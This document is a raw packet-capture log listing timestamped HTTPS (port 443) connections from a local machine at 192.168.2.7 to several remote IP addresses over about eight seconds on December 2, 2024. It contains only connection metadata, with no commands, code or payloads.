Dec 2, 2024 01:35:28.211456060 CET	49987	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:28.211507082 CET	49987	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:28.211527109 CET	443	49987	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:28.215265989 CET	49991	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:28.215306044 CET	443	49991	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:28.215363026 CET	49991	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:28.215663910 CET	49991	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:28.215678930 CET	443	49991	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:28.262515068 CET	443	49988	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:28.263219118 CET	49988	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:28.263246059 CET	443	49988	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:28.263668060 CET	49988	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:28.263672113 CET	443	49988	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:28.268508911 CET	443	49986	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:28.268537998 CET	443	49986	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:28.268584013 CET	49986	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:28.268610001 CET	443	49986	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:28.268733978 CET	49986	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:28.268739939 CET	443	49986	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:28.268757105 CET	49986	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:28.268903017 CET	443	49986	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:28.268940926 CET	443	49986	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:28.268985987 CET	49986	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:28.273926973 CET	49992	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:28.273988962 CET	443	49992	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:28.274053097 CET	49992	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:28.274365902 CET	49992	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:28.274383068 CET	443	49992	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:28.707146883 CET	443	49988	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:28.710253000 CET	443	49988	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:28.710302114 CET	443	49988	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:28.710360050 CET	49988	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:28.710855961 CET	49988	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:28.710876942 CET	443	49988	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:28.710887909 CET	49988	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:28.710892916 CET	443	49988	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:28.721074104 CET	49993	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:28.721127033 CET	443	49993	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:28.721184015 CET	49993	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:28.721663952 CET	49993	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:28.721676111 CET	443	49993	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:29.409327984 CET	443	49989	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:29.421705008 CET	49989	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:29.421720982 CET	443	49989	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:29.422502041 CET	49989	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:29.422509909 CET	443	49989	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:29.757666111 CET	443	49990	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:29.766212940 CET	49990	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:29.766256094 CET	443	49990	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:29.766933918 CET	49990	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:29.766938925 CET	443	49990	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:29.862848043 CET	443	49989	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:29.863193035 CET	443	49989	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:29.863240004 CET	49989	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:29.892692089 CET	49989	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:29.892692089 CET	49989	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:29.892713070 CET	443	49989	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:29.892720938 CET	443	49989	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:29.907965899 CET	49994	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:29.908015013 CET	443	49994	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:29.908076048 CET	49994	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:29.909053087 CET	49994	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:29.909065008 CET	443	49994	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:29.931611061 CET	443	49991	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:29.934398890 CET	49991	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:29.934417009 CET	443	49991	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:29.935053110 CET	49991	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:29.935058117 CET	443	49991	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:29.990370035 CET	443	49992	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:29.991036892 CET	49992	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:29.991067886 CET	443	49992	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:29.991518021 CET	49992	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:29.991523981 CET	443	49992	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.192392111 CET	443	49990	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.195991039 CET	443	49990	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.196038961 CET	49990	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:30.196052074 CET	443	49990	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.196099997 CET	49990	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:30.196391106 CET	49990	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:30.196413040 CET	443	49990	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.196433067 CET	49990	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:30.196438074 CET	443	49990	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.201426983 CET	49995	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:30.201478958 CET	443	49995	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.201534986 CET	49995	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:30.201726913 CET	49995	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:30.201738119 CET	443	49995	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.368474960 CET	443	49991	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.368546009 CET	443	49991	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.368613958 CET	49991	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:30.370969057 CET	49991	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:30.370992899 CET	443	49991	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.371014118 CET	49991	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:30.371020079 CET	443	49991	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.375988007 CET	49996	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:30.376034021 CET	443	49996	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.376101017 CET	49996	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:30.376530886 CET	49996	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:30.376544952 CET	443	49996	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.426666975 CET	443	49992	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.426690102 CET	443	49992	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.426748991 CET	49992	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:30.426783085 CET	443	49992	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.427038908 CET	49992	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:30.427046061 CET	443	49992	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.427068949 CET	49992	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:30.427221060 CET	443	49992	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.427256107 CET	443	49992	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.427300930 CET	49992	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:30.431966066 CET	49997	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:30.432018042 CET	443	49997	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.432081938 CET	49997	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:30.432224035 CET	49997	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:30.432239056 CET	443	49997	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.456243992 CET	49847	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:35:30.456269026 CET	443	49847	162.159.61.3	192.168.2.7
Dec 2, 2024 01:35:30.456561089 CET	49848	443	192.168.2.7	162.159.61.3
Dec 2, 2024 01:35:30.456597090 CET	443	49848	162.159.61.3	192.168.2.7
Dec 2, 2024 01:35:30.504167080 CET	443	49993	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.527256012 CET	49993	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:30.527282000 CET	443	49993	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.527765989 CET	49993	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:30.527772903 CET	443	49993	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.948498964 CET	443	49993	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.951915026 CET	443	49993	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.951953888 CET	443	49993	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.952028036 CET	49993	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:30.952052116 CET	49993	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:30.952078104 CET	443	49993	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.952094078 CET	49993	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:30.952102900 CET	443	49993	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.952111006 CET	49993	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:30.952114105 CET	443	49993	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.956299067 CET	49999	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:30.956351995 CET	443	49999	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:30.956413984 CET	49999	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:30.960294962 CET	49999	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:30.960309029 CET	443	49999	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:31.627123117 CET	443	49994	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:31.646205902 CET	49994	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:31.646245956 CET	443	49994	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:31.647053003 CET	49994	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:31.647058964 CET	443	49994	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:31.919281960 CET	443	49995	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:31.919801950 CET	49995	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:31.919820070 CET	443	49995	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:31.920326948 CET	49995	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:31.920331955 CET	443	49995	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.065992117 CET	443	49994	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.069211006 CET	443	49994	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.069250107 CET	443	49994	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.069266081 CET	49994	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:32.069299936 CET	49994	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:32.091617107 CET	49994	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:32.091643095 CET	443	49994	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.091654062 CET	49994	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:32.091660023 CET	443	49994	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.096266031 CET	443	49996	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.146365881 CET	49996	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:32.146395922 CET	443	49996	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.147182941 CET	49996	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:32.147192955 CET	443	49996	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.156691074 CET	50000	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:32.156739950 CET	443	50000	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.156805038 CET	50000	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:32.157016039 CET	50000	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:32.157032013 CET	443	50000	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.212850094 CET	443	49997	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.225408077 CET	49997	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:32.225445032 CET	443	49997	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.226304054 CET	49997	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:32.226310968 CET	443	49997	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.354337931 CET	443	49995	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.357556105 CET	443	49995	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.360362053 CET	49995	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:32.360403061 CET	49995	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:32.360419035 CET	443	49995	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.360426903 CET	49995	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:32.360431910 CET	443	49995	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.363569975 CET	50001	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:32.363617897 CET	443	50001	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.363677025 CET	50001	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:32.363804102 CET	50001	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:32.363815069 CET	443	50001	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.656857014 CET	443	49997	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.657006979 CET	443	49997	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.657120943 CET	49997	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:32.661238909 CET	49997	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:32.661252975 CET	443	49997	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.666491032 CET	50002	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:32.666531086 CET	443	50002	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.666656971 CET	50002	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:32.667269945 CET	50002	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:32.667279005 CET	443	50002	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.758974075 CET	443	49999	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.789119005 CET	49999	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:32.789141893 CET	443	49999	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.789650917 CET	49999	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:32.789655924 CET	443	49999	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.880537987 CET	443	49996	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.883765936 CET	443	49996	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.883934975 CET	49996	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:32.892321110 CET	49996	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:32.892321110 CET	49996	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:32.892347097 CET	443	49996	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.892358065 CET	443	49996	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.902493000 CET	50003	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:32.902520895 CET	443	50003	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:32.902757883 CET	50003	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:32.941704988 CET	50003	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:32.941723108 CET	443	50003	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:33.202955008 CET	443	49999	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:33.206507921 CET	443	49999	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:33.206553936 CET	443	49999	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:33.206645966 CET	49999	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:33.240866899 CET	49999	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:33.240866899 CET	49999	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:33.240888119 CET	443	49999	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:33.240895987 CET	443	49999	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:33.243347883 CET	49838	443	192.168.2.7	172.64.41.3
Dec 2, 2024 01:35:33.243372917 CET	443	49838	172.64.41.3	192.168.2.7
Dec 2, 2024 01:35:33.243630886 CET	49826	443	192.168.2.7	18.165.220.110
Dec 2, 2024 01:35:33.243657112 CET	443	49826	18.165.220.110	192.168.2.7
Dec 2, 2024 01:35:33.288168907 CET	50004	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:33.288203955 CET	443	50004	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:33.288338900 CET	50004	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:33.288964987 CET	50004	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:33.288975954 CET	443	50004	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:34.002065897 CET	443	50000	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:34.008090019 CET	50000	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:34.008130074 CET	443	50000	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:34.008637905 CET	50000	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:34.008651018 CET	443	50000	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:34.212116003 CET	443	50001	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:34.224630117 CET	50001	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:34.224670887 CET	443	50001	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:34.225577116 CET	50001	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:34.225583076 CET	443	50001	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:34.457338095 CET	443	50000	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:34.457403898 CET	443	50000	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:34.457465887 CET	50000	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:34.469213009 CET	50000	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:34.469242096 CET	443	50000	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:34.469258070 CET	50000	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:34.469264030 CET	443	50000	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:34.483288050 CET	443	50002	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:34.513045073 CET	50002	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:34.513076067 CET	443	50002	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:34.513468027 CET	50002	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:34.513473988 CET	443	50002	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:34.543848991 CET	50006	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:34.543910027 CET	443	50006	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:34.544002056 CET	50006	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:34.555119038 CET	50006	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:34.555149078 CET	443	50006	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:34.665101051 CET	443	50001	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:34.668576956 CET	443	50001	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:34.668637991 CET	443	50001	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:34.668659925 CET	50001	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:34.668699026 CET	50001	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:34.670747995 CET	50001	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:34.670772076 CET	443	50001	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:34.670783043 CET	50001	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:34.670789003 CET	443	50001	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:34.727580070 CET	443	50003	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:34.752844095 CET	50003	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:34.752876043 CET	443	50003	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:34.753313065 CET	50003	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:34.753319025 CET	443	50003	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:34.798113108 CET	50007	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:34.798160076 CET	443	50007	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:34.798576117 CET	50007	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:34.826030016 CET	50007	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:34.826057911 CET	443	50007	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:34.852214098 CET	50008	443	192.168.2.7	23.219.82.16
Dec 2, 2024 01:35:34.852266073 CET	443	50008	23.219.82.16	192.168.2.7
Dec 2, 2024 01:35:34.852555037 CET	50008	443	192.168.2.7	23.219.82.16
Dec 2, 2024 01:35:34.852555037 CET	50008	443	192.168.2.7	23.219.82.16
Dec 2, 2024 01:35:34.852593899 CET	443	50008	23.219.82.16	192.168.2.7
Dec 2, 2024 01:35:34.927761078 CET	443	50002	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:34.930902958 CET	443	50002	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:34.930994034 CET	50002	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:34.944107056 CET	50002	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:34.944108009 CET	50002	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:34.944134951 CET	443	50002	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:34.944144011 CET	443	50002	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:34.979831934 CET	50009	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:34.979891062 CET	443	50009	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:34.980243921 CET	50009	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:34.988563061 CET	50009	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:34.988590956 CET	443	50009	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:35.004981995 CET	443	50004	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:35.005407095 CET	50004	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:35.005448103 CET	443	50004	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:35.005856991 CET	50004	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:35.005861998 CET	443	50004	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:35.171890020 CET	443	50003	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:35.171943903 CET	443	50003	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:35.172007084 CET	443	50003	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:35.172451019 CET	50003	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:35.205466986 CET	50003	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:35.205496073 CET	443	50003	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:35.205521107 CET	50003	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:35.205528975 CET	443	50003	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:35.252661943 CET	50010	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:35.252727032 CET	443	50010	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:35.253110886 CET	50010	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:35.257029057 CET	50010	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:35.257047892 CET	443	50010	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:35.444843054 CET	443	50004	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:35.447973967 CET	443	50004	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:35.448082924 CET	50004	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:35.450189114 CET	50004	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:35.450211048 CET	443	50004	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:35.450264931 CET	50004	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:35.450273037 CET	443	50004	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:35.475102901 CET	50011	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:35.475148916 CET	443	50011	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:35.475497007 CET	50011	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:35.489500046 CET	50011	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:35.489531994 CET	443	50011	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:36.062213898 CET	443	50008	23.219.82.16	192.168.2.7
Dec 2, 2024 01:35:36.064704895 CET	50008	443	192.168.2.7	23.219.82.16
Dec 2, 2024 01:35:36.064713955 CET	443	50008	23.219.82.16	192.168.2.7
Dec 2, 2024 01:35:36.065774918 CET	443	50008	23.219.82.16	192.168.2.7
Dec 2, 2024 01:35:36.065924883 CET	50008	443	192.168.2.7	23.219.82.16
Dec 2, 2024 01:35:36.078504086 CET	50008	443	192.168.2.7	23.219.82.16
Dec 2, 2024 01:35:36.078609943 CET	443	50008	23.219.82.16	192.168.2.7
Dec 2, 2024 01:35:36.186204910 CET	50008	443	192.168.2.7	23.219.82.16
Dec 2, 2024 01:35:36.186220884 CET	443	50008	23.219.82.16	192.168.2.7
Dec 2, 2024 01:35:36.273413897 CET	443	50006	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:36.286614895 CET	50006	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:36.286657095 CET	443	50006	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:36.287069082 CET	50006	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:36.287074089 CET	443	50006	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:36.295973063 CET	50008	443	192.168.2.7	23.219.82.16
Dec 2, 2024 01:35:36.714308023 CET	443	50006	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:36.717406988 CET	443	50006	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:36.717456102 CET	50006	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:36.722767115 CET	50006	443	192.168.2.7	13.107.246.63
